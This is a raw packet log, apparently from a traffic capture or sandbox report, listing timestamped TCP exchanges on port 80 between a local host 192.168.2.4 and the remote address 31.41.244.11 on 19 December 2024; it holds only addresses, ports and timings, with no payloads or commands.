Dec 19, 2024 06:09:54.972328901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.972337961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.973129988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.973160982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.973171949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.973176956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.973201036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.973212957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.974071026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.974097967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.974112988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.974117041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.974133968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.974147081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.974917889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.974957943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.974992037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.975008965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.975030899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.975045919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.975805998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.975847006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.975867987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.975884914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.975907087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.975929976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.976723909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.976769924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.976788998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.976805925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.976828098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.976843119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.977596998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.977637053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.977662086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.977678061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.977709055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.977709055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.978470087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.978507042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.978554964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.978570938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.978595972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.978617907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.979368925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.979409933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.979413986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.979432106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.979451895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.979464054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.980336905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.980354071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.980370045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.980387926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.980402946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.980420113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.981178045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.981219053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.981225967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.981242895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.981283903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.981302023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.982059956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.982100964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.982119083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.982135057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.982158899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.982175112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.982995033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983011007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983027935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983036041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.983061075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.983061075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.983831882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983872890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983875036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.983889103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.983913898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.983930111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.984715939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.984759092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.984786034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.984802008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.984826088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.984841108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.985584021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.985621929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.985883951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.985923052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.985951900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.985968113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.985987902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.986004114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.986778975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.986824036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.986825943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.986846924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.986864090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.986887932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.987665892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.987709045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.987734079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.987749100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.987780094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.987796068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.987816095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.988627911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.988665104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.988711119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.988728046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.988749981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.988773108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.989535093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.989574909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.989574909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.989593029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.989614010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.989628077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.990330935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.990380049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.990391970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.990397930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.990417004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.990430117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.991219044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.991261005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.991290092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.991306067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.991327047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.991345882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.992115974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.992161989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.992187023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.992204905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.992227077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.992242098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.993025064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993065119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.993072033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993087053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993108988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.993124008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.993905067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993946075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.993952036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993969917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.993989944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.994002104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.994776964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.994823933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.994879007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.994925976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005093098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005146980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005152941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005171061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005196095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005209923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005541086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005582094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005585909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005603075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.005625010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.005640030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.006414890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.006457090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.158422947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158441067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158459902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158601999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.158684969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158720970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158736944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.158757925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.158847094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.159562111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.159606934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.159778118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.159825087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.159833908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.159849882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.159874916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.159893036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.160470963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.160514116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.160531998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.160547972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.160571098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.160588980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.161431074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.161447048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.161463022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.161478996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.161501884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.162266970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.162312031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.162322998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.162328959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.162343979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.162359953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.163177013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.163203001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.163218975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.163228035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.163244963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.163254976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.164036989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164078951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.164105892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164123058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164148092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.164165020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.164908886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164953947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.164954901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164973974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.164999008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.165015936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.165790081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.165837049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.165838957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.165853977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.165877104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.165891886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.166697025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.166723013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.166738033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.166744947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.166766882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.166766882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.167583942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.167625904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.167625904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.167644978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.167689085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.167689085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.168478012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.168505907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.168520927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.168521881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.168545008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.168559074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.169377089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.169424057 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.169428110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.169445992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.169473886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.169492006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.170229912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.170274019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.170289040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.170305014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.170332909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.170351028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.171152115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.171196938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.171200991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.171220064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.171241999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.171258926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172092915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172121048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172137976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172137976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172154903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172173977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172920942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172947884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172962904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172962904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.172983885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.172997952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.173810959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.173856020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.173882008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.173898935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.173923969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.173938990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.174695015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.174738884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.174741983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.174757957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.174782991 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.174799919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.175596952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.175640106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.175657034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.175673962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.175698042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.175714970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.176474094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.176526070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.176542997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.176543951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.176563978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.176579952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.177371025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.177418947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.177433968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.177453995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.177479029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.177495956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.178251028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.178297043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.178600073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.178616047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.178632021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.178643942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.178662062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.178673029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.179447889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.179491043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.179517031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.179533958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.179563046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.179588079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.180335999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.180378914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.180413008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.180428982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.180454016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.180469990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.181216002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.181258917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.181262970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.181276083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.181299925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.181314945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.182105064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.182152987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.182163000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.182179928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.182204008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.182220936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.183005095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183044910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183048964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.183060884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183082104 CET	49860	80	192.168.2.4	31.41.244.11
